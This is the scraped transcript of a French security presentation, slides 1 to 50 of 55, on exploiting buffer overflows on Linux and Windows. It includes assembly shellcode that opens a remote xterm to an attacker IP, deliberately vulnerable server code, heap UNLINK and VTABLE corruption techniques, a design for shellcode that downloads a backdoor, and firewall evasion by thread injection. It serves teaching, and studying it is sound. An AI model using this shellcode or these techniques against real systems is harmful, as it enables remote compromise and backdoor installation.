1 / 55

Démonstrations pratiques de buffer overflows

Démonstrations pratiques de buffer overflows. Ou la compromission d’un système par une simple erreur de programmation. Introduction. Buffer overflows ne sont statistiquement pas les failles les plus exploitées . Mais failles parmi les plus célèbres Célébrité vient de leur portée :

yaakov
Download Presentation

Démonstrations pratiques de buffer overflows

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Démonstrations pratiquesde buffer overflows Ou la compromission d’un système par une simple erreur de programmation

  2. Introduction • Buffer overflows ne sont statistiquement pas les failles les plus exploitées. • Mais failles parmi les plus célèbres • Célébrité vient de leur portée : • En terme de compromission de la machine vulnérable • En terme de propagation au sein d’un réseau • Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  3. Données Introduction: principe des BOFs • Les buffer overflows, un principe simple et très connu Donnée Adresses croissantes Zone reservée • Conséquences multiples: • Modification du comportement • Déni de service • Exécution de code arbitraire -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  4. Objectif de l’étude • Principe connu mais mécanismes rarement décortiqués Possibilités réelles ? Difficultés rencontrées ? • Objectif de cette étude: Présenter des exemples concrets d’exploitation de buffer overflows pour donner un aperçu des réponses • Cadre: • Exploitations de cas d’écoles et non de cas réels • Mais exploitations de serveurs donc distantes • But: Par écrasement de zones mémoires, rediriger l’exécution vers un code injecté qui permettra l’ouverture d’un shell sur la machine distante. -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  5. Plan • Rappels: stack et heap • Exploitation sous Linux • Écriture d’un shellcode pour Linux • Exploitation d’un Stack overflow avec shellcode before • Exploitation d’un Heap Overflow • Exploitation sous Windows • Écriture d’un shellcode pour Windows • Stack overflow sur serveur compilé Visual 6.0 (option /GZ) • Stack overflow sur serveur compilé Visual .net (option /GS) • Corruption de VTABLES: Les limites de l’option /GS • Cas des équipements de filtrages • L’injection de code: Contournement du firewall personnel • Conclusion -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  6. Rappels: Stack et Heap Plan: Définitions Exemple pratique

  7. Stack Adresses croissantes Heap Définitions • Stack et Heap • Stack (pile) = Variable locale, paramètres,… • Heap (tas) = Allocation dynamique d’objets (malloc, new) • En mémoire -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  8. Exemple pratique • Code appel de fonction void myFunc(intparam) { intlocal; int *p=new char[50]; … } … myFunc(10); Param Adresse retour Entête fct local p Retour: - restauration de la pile - instruction « ret » char [50] -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  9. Buffer overflow sous Linux Plan: Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow

  10. Shellcode Redirection vers shellcode Écriture d’un shellcode (1) • Définition « Shellcode » => Code injecté, vers lequel l’exécution est redirigé et qui effectue une opération compromettant le système (ici, ouverture de shell distant) • Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières. • La plus classique: dans le buffer qui provoque le débordement. • Buffer envoyé: -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  11. Écriture d’un shellcode (2) • Dans notre cas: shellcode=xterm en export DISPLAY BOF Service vulnérable Attaquant xterm avec ENV: DISPLAY=@IP:0.0 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  12. Remplace X par \0 Utilisation de int pour exécution Gestion de la relocalisation Écriture d’un shellcode (3) • Code du shellcode (~80 bytes) jmp getaddr function: popl %ebx /* Recupere adresse de la commande */ xor %eax, %eax movb %al, 0x14(%ebx) movb %al, 0x30(%ebx) pushl %eax /* push NULL */ lea 0x15(%ebx), %ecx pushl %ecx /* push @ variable d'env DISPLAY */ movl %esp, %edx /* Load @ tableau env dans edx */ pushl %eax /* push NULL */ pushl %ebx /* push @ de la commande */ movl %esp, %ecx /* Load @ tableau dans ecx */ movb $0xb, %al int $0x80 getaddr: call function .shell_string: .string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\" /* le X a remplacer par un 0 */ -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  13. MAX_MSG < strlen(Message…\n)+ MAX_MSG Exemple de Stack overflow (1) • Présentation du serveur • Serveur écoute sur le port 1500 • Affiche la chaîne renvoyée précédée de « Message from remote client : » void printMsg(char *szBuffer) { char szMsg[MAX_MSG]; sprintf(szMsg, "Message from remote client :%s\n", szBuffer); printf(szMsg); } int main (int argc, char *argv[]) { … while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0) { printMsg(szBuffer); } … } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  14. @ szBuffer @ szBuffer @ retour @ retour ebp ebp szMsg Données Exemple de Stack overflow (2) • Principe de l’exploitation Écrase @retour sprintf => Quelle est la structure des données envoyées ? -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  15. @ szBuffer @ szMsg Adresse retour SHELLCODE ebp szMsg ret NOP • Taille du shellcode limitée • Pas d’octets nul • @ buffer inconnue Exemple de Stack overflow (3) • Structure des données envoyées -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  16. Démo stack overflow

  17. Problèmes des Heap Overflow • Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ? • Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip • Mais ce n’est pas le cas de heap (sauf cas particuliers) => Exploitation impossible ? • Illustration de la technique de la macro UNLINK décrite par Solar Designer -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  18. L’algorithme de Doug Lea (1) • Portions de mémoires allouées gérées dans des chunks … … chunk N+1 prev_size prev_size data free BK chunk N FD size size prev_size prev_size -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  19. L’algorithme de Doug Lea (2) • Lors de la libération: • Test si chunk suivant libre • Si libre, l’enlève de la liste doublement chaînée. • Concatène les deux chunks • Pour enlever le bloc de la liste chaînée l’algorithme utilise la macro UNLINK: #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  20. Le débordement: principe • En cas de débordement: data data chunk N+1 Ecrasement du chunk N+1 size size prev_size prev_size sprintf data data chunk N size size prev_size prev_size -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  21. Le débordement: exploitation • Lors de l’appel à free sur chunk N, si chunk N+1 libre, appel de UNLINK #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } • Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité d’écriture d’un DWORD de notre choix à l’adresse de notre choix • En pratique, écrasement d’une adresse de fonction dans le GOT avec l’adresse de notre buffer -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  22. Exemple de Heap Overflow (1) • Présentation du serveur Simple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion. • Code typedef struct { time_t connectTime; } CONNEXION; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  23. 200 < 1500 Exemple de Heap Overflow (2) void processData(int newSocketfd, char *szBuffer) { char *p; CONNEXION *c; if(szBuffer[0] == CMD_USER) // La commande recu est un login { // Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION p=(char *) malloc(SZ_USERNAME*sizeof(char)); c=(CONNEXION *) malloc(sizeof(CONNEXION)); // Rempli les structures c->connectTime=time(); sprintf(p,"%s login\n", &szBuffer[1]); // Renvoie la reponse au client if(write(newSocketfd, p, strlen(p)) < 0) error("ERROR writing to socket"); // Libere la memoire free(p); free(c); } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  24. prev_size size data prev_size size data prev_size size data fake p_s fake size FD data BK prev_size size FD data BK fake p_s 0xfffffffc data FD BK • GOT: @ malloc @ exit @ free Principe de l’exploitation • Avant sprintf • Après sprintf • Après free(p) • Appel de free(c) => saut dans shellcode -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  25. Démo heap overflow

  26. Exploitation sous Windows Plan: Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS L’injection de code: Contournement du firewall personnel

  27. Introduction • Buffer overflow sous Windows sujet moins couvert par documentation sur Internet • Pourtant, Msblast ou Sasser montre l’importance et la gravité du phénomène -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  28. Écriture d’un shellcode (1) • Sous Linux, écriture de shellcode très facile: • Lancement d’un programme via instruction INT 80h • Programmes orientés réseau (xterm en remote display) • Sous Windows: API « INT 2Eh » très limitée. • Implications => Nécessité d’utiliser des API de plus haut niveaux (DLL) => Nécessité de charger les DLL => Nécessité d’accéder à certaines fonctions (LoadLibrary) => Nécessité d’avoir l’adresse de kernel32.dll • Problèmes: • Adresse de kernel32.dll varie d’une version à une autre • Taille du code augmente considérablement -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  29. Écriture d’un shellcode (2) • Deux contraintes: • Shellcode doit être capable de retrouver @ de kernel32.dll • Shellcode doit rester de taille raisonnable • Principe du shellcode • Récupération de l’adresse de kernel32.dll (PEB) • Récupération de l’adresse de GetProcAdress() (Parse export directory) • Appel de GetProcAdress(@kernel32.dll, "LoadLibrary") • Appel de LoadLibrary("urlmon.dll") • Appel de GetProcAdress(@urlmon.dll, "URLDownloadToFile") • Contact faux serveur web et télécharge BackDoor • Exécute la BackDoor -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  30. Écriture d’un shellcode (3) • Principe de l’exécution du shellcode BOF Service vulnérable Attaquant Fake web server backdoor (a.exe) -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  31. BUFFER_SIZE < strlen(Welcome…)+ BUFFER_SIZE Exemple de Stack Overflow • Présentation du serveur int vulnFunc(SOCKET clientSocket, char *msg) { char answer[BUFFER_SIZE]; char *p; int i; bzero(answer); p=msg; i=0; while((msg[i] != ' ') && (i<BUFFER_SIZE)) i ++; if(msg[i] != ' ') return -1; sprintf(answer, "Welcome to ghorg0re/3ey's server %s\r\n", &msg[i+1]); if(send(clientSocket, answer, strlen(answer), 0) == SOCKET_ERROR) return -1; return 0; } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  32. Cas de Visual 6.0: Option /GZ -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  33. Démo stack overflow

  34. @ret ebp security_cookie answer p i Cas de Visual .net: Option /GS • Header de la fonction 00411C70 push ebp 00411C71 mov ebp,esp 00411C73 sub esp,274h 00411C79 push ebx 00411C7A push esi 00411C7B push edi 00411C7C lea edi,[ebp-274h] 00411C82 mov ecx,9Dh 00411C87 mov eax,0CCCCCCCCh 00411C8C rep stos dword ptr [edi] 00411C8E mov eax,dword ptr [___security_cookie] 00411C93 mov dword ptr [ebp-4],eax -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  35. Cas de Visual .net: Option /GS • Fin de la fonction 00411D53 push edx 00411D54 mov ecx,ebp 00411D56 push eax 00411D57 lea edx,ds:[411D80h] 00411D5D call @ILT+430(@_RTC_CheckStackVars@8) (4111B3h) 00411D62 pop eax 00411D63 pop edx 00411D64 mov ecx,dword ptr [ebp-4] 00411D67 call @ILT+140(@__security_check_cookie@4) (411091h) 00411D6C pop edi 00411D6D pop esi 00411D6E pop ebx 00411D6F add esp,274h 00411D75 cmp ebp,esp 00411D77 call @ILT+995(__RTC_CheckEsp) (4113E8h) 00411D7C mov esp,ebp 00411D7E pop ebp 00411D7F ret -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  36. Démo stack overflow

  37. Rappel sur les VTABLES (1) • Exemple de statique code => Génération de code statique pour l‘appel -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  38. Rappel sur les VTABLES (2) • Limites de la compilation statique => Utilise les fonctions virtuelles résolues à l’exécution • En mémoire Membres @ Func 3 Objet @ Func 2 Pointeur table virtuelle @ Func 1 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  39. Rappel sur les VTABLES (3) • Exemple de code dynamique -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  40. int b int b Objet 2 int a int a @ table virtuelle @ table virtuelle szBuffer szBuffer sprintf Objet 1 @ table virtuelle @ table virtuelle Conséquences • Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux d’exécution possible • Avantage: Redirection se fait lors appel à une fonction membre de l’objet 2 => Avant toutes vérifications • Inconvénient: On écrase un pointeur d’adresses -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  41. Exemple de Heap Overflow (1) • Code du serveur class Connexion { char szUser[SZ_USER]; char szData[SZ_DATA]; public: Connexion(void) {bzero(szData);bzero(szUser);}; virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);}; virtual char *getszUser(void){return szUser;}; virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);}; virtual char *getszData(void){return szData;}; }; class LogData { public: virtual void logszData (char *szData) {printf("[TRACE] %s\n", szData);}; }; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  42. Exemple de Heap Overflow (2) • Code du serveur int processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char *szData) { char msgToLog[SZ_LOG]; if(szData[0] == CODE_USER) { pConnexion->setszUser(&szData[1]); sprintf(msgToLog, "Login user: %s",pConnexion->getszUser()); if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR) return -1; } else if(szData[0] == CODE_DATA) { pConnexion->setszData(&szData[1]); sprintf(msgToLog, "Data sent: %s",pConnexion->getszData()); if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR) return -1; }  pLogData->logszData(msgToLog); return 0; } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  43. SHELLCODE Exemple de Heap Overflow (3) • En mémoire: pLogData @ table virtuelle szData pConnexion szUser @szData @ table virtuelle • Exploitation en deux temps: • Envoi d’un faux user pour constituer @szData • Ecrasement de la VTABLES de pLogData avec @szUser -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  44. Démo heap overflow

  45. Conclusion partie Windows • Étude montre les difficultés d’écriture de shellcode sous Windows • Mais l’exploitation de cas d’école reste aisée • L’option /GS permet d’éviter l’exploitation de stack overflow simples, mais n’est pas une protection inviolable -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  46. Contournement deséquipements de filtrages Plan: Concepts La protection par FW personnel

  47. Concepts (1) • Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor • Cas de Linux: FireWall Attaquant Serveur X Serveur vulnérable xterm avec ENV: DISPLAY=@IP:0.0 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  48. Concepts (2) • Cas de Windows Proxy + Authent BOF Service vulnérable Attaquant Fake web server => Il faut savoir adapter le shellcode à l’architecture du réseau ciblé. A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  49. La protection par FW personnel • Concept: FW personnel • Application filtrant le trafic entrant et sortant d’une machine • Gère le contrôle d’accès via le concept d’applications: Deux modes sont distingués: client ou serveur Pour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue. • Une application inconnue de peut pas accéder à Internet => Détection de notrebackdoor • Calcul de checksum empêche simple remplacement => Le FW personnel est-il la solution miracle anti-backdoor ? -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

  50. Contournement du FW personnel (1) • Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread • Or Windows offre la possibilité de créer des threads dans une application distante • Technique qui devient très courante. Utilise les fonctions: • VirtualAllocEx • WriteProcessMemory • CreateRemoteThread -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

More Related